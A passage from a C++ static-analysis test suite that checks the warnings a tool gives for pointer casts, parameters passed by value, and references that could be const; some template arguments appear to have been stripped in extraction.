(portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be 